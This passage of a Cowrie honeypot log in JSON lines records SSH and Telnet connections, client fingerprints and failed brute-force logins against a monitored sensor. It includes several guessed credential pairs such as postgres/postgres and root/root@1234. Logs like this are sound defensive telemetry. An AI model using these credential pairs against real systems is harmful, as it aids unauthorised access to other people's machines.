ss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:22.981903Z","src_ip":"31.40.204.166","session":"f6177e7f2e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:23.880044Z","src_ip":"31.40.204.166","session":"f6177e7f2e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a77f8823e51","protocol":"telnet","message":"New connection: 152.42.224.71:37442 (10.17.0.5:23) [session: 7a77f8823e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:24.026463Z"}
{"eventid":"cowrie.session.closed","duration":20.18569803237915,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:24.929024Z","src_ip":"152.42.224.71","session":"e88173687ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:25.015265Z","src_ip":"31.40.204.166","session":"f6177e7f2e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f32d45bf3796","protocol":"telnet","message":"New connection: 152.42.224.71:56486 (10.17.0.5:23) [session: f32d45bf3796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:32.790106Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37866,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d237db77ba2","protocol":"ssh","message":"New connection: 31.40.204.166:37866 (159.203.135.109:22) [session: 3d237db77ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:34.617218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:34.691151Z","src_ip":"31.40.204.166","session":"3d237db77ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:34.803188Z","src_ip":"31.40.204.166","session":"3d237db77ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:35.601161Z","src_ip":"31.40.204.166","session":"3d237db77ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:36.731863Z","src_ip":"31.40.204.166","session":"3d237db77ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37738,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7253adfd18","protocol":"telnet","message":"New connection: 152.42.224.71:37738 (10.17.0.5:23) [session: 6b7253adfd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:36.778354Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab554ff41e8","protocol":"telnet","message":"New connection: 152.42.224.71:37748 (10.17.0.5:23) [session: cab554ff41e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:38.646033Z"}
{"eventid":"cowrie.session.closed","duration":34.3258490562439,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:39.333911Z","src_ip":"152.42.224.71","session":"ece04b33d1d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.01314306259155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:43.688352Z","src_ip":"152.42.224.71","session":"62bd392d549e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37536,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cd7e3a798b3","protocol":"ssh","message":"New connection: 31.40.204.166:37536 (159.203.135.109:22) [session: 9cd7e3a798b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:46.682671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:46.687811Z","src_ip":"31.40.204.166","session":"9cd7e3a798b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:46.880732Z","src_ip":"31.40.204.166","session":"9cd7e3a798b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:47.406270Z","src_ip":"31.40.204.166","session":"9cd7e3a798b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.18726587295532,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:47.960992Z","src_ip":"152.42.224.71","session":"6140f41d7110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:48.792700Z","src_ip":"31.40.204.166","session":"9cd7e3a798b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.394165992736816,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:49.956879Z","src_ip":"152.42.224.71","session":"b5888c21efa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00139379501343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:49.975211Z","src_ip":"152.42.224.71","session":"c12873698e36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60536,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f8015b07ef","protocol":"telnet","message":"New connection: 152.42.224.71:60536 (10.17.0.5:23) [session: 01f8015b07ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:50.469228Z"}
{"eventid":"cowrie.session.closed","duration":94.46878123283386,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:50.765739Z","src_ip":"152.42.224.71","session":"d3c7868eceb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa91fca5dd93","protocol":"telnet","message":"New connection: 152.42.224.71:60548 (10.17.0.5:23) [session: fa91fca5dd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:53.935026Z"}
{"eventid":"cowrie.session.closed","duration":94.49396634101868,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:54.330812Z","src_ip":"152.42.224.71","session":"7332202741d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.45270609855652,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:54.505717Z","src_ip":"152.42.224.71","session":"27de3d5797e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.23819136619568,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:54.977523Z","src_ip":"152.42.224.71","session":"c9ee661fb91d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.20806813240051,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:55.782221Z","src_ip":"152.42.224.71","session":"88486b0a7e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40740,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a211e6c2c58","protocol":"telnet","message":"New connection: 152.42.224.71:40740 (10.17.0.5:23) [session: 9a211e6c2c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:56.332783Z"}
{"eventid":"cowrie.session.closed","duration":24.194679975509644,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:56.984658Z","src_ip":"152.42.224.71","session":"f32d45bf3796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.743560552597046,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:57.294905Z","src_ip":"152.42.224.71","session":"7420a1f74db2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47188,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b6d4aec3dc","protocol":"ssh","message":"New connection: 31.40.204.166:47188 (159.203.135.109:22) [session: c3b6d4aec3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:58.802800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:58.810858Z","src_ip":"31.40.204.166","session":"c3b6d4aec3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:58.981573Z","src_ip":"31.40.204.166","session":"c3b6d4aec3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40742,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf994b5fcbf2","protocol":"telnet","message":"New connection: 152.42.224.71:40742 (10.17.0.5:23) [session: bf994b5fcbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:59.173728Z"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:49:59.526473Z","src_ip":"31.40.204.166","session":"c3b6d4aec3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:00.703493Z","src_ip":"31.40.204.166","session":"c3b6d4aec3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.146098613739014,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:02.478734Z","src_ip":"152.42.224.71","session":"9a211e6c2c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.30533075332642,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:07.156618Z","src_ip":"152.42.224.71","session":"e72ea7c2859a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52394,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc7d14aa198","protocol":"ssh","message":"New connection: 31.40.204.166:52394 (159.203.135.109:22) [session: cdc7d14aa198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.413824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.417947Z","src_ip":"31.40.204.166","session":"cdc7d14aa198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.584032Z","src_ip":"31.40.204.166","session":"cdc7d14aa198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f73f023ef23","protocol":"telnet","message":"New connection: 152.42.224.71:49404 (10.17.0.5:23) [session: 6f73f023ef23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.842775Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2dc8a0dc6ca","protocol":"ssh","message":"New connection: 148.153.245.161:53236 (10.17.0.5:22) [session: e2dc8a0dc6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.910010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.916772Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:11.960734Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.019309Z","src_ip":"31.40.204.166","session":"cdc7d14aa198","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:2f:ac:d5:e8:13:c0:5f:19:a5:d9:e9:54:24:b3:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyx2HoL0QEm4pD49haKyy5K8LIrUdRrNXAFiik1ampZJkl8L/dWnFfy7KLF5f5gTxyZIItA8CSO5hGZAuTBEj7GSNJjwezP9s6ntldYMwVIOrgZo4eFiSAWpKTYHONBPLfcSXtk1u89ymFQzMhwruGXkVgQpN5FQ0DOIe1AqyCDseah0lemmUDC5qsQ4k/P8m4aEhFkGIwxlUpZx+Ks3lkxs9EFYp9gC3evCFaOVGkAspmdFxYfecQTPJFpMoPBJnMnsH1GiKAM4+BY0WtIyoST7a+BTUemOe/Wvs6//P7QKvdXJFSIBri240fINf9ZB6nxcrKSiS3yqK3/AYyIcb7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:2f:ac:d5:e8:13:c0:5f:19:a5:d9:e9:54:24:b3:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.158855Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:2f:ac:d5:e8:13:c0:5f:19:a5:d9:e9:54:24:b3:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyx2HoL0QEm4pD49haKyy5K8LIrUdRrNXAFiik1ampZJkl8L/dWnFfy7KLF5f5gTxyZIItA8CSO5hGZAuTBEj7GSNJjwezP9s6ntldYMwVIOrgZo4eFiSAWpKTYHONBPLfcSXtk1u89ymFQzMhwruGXkVgQpN5FQ0DOIe1AqyCDseah0lemmUDC5qsQ4k/P8m4aEhFkGIwxlUpZx+Ks3lkxs9EFYp9gC3evCFaOVGkAspmdFxYfecQTPJFpMoPBJnMnsH1GiKAM4+BY0WtIyoST7a+BTUemOe/Wvs6//P7QKvdXJFSIBri240fINf9ZB6nxcrKSiS3yqK3/AYyIcb7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.165968Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
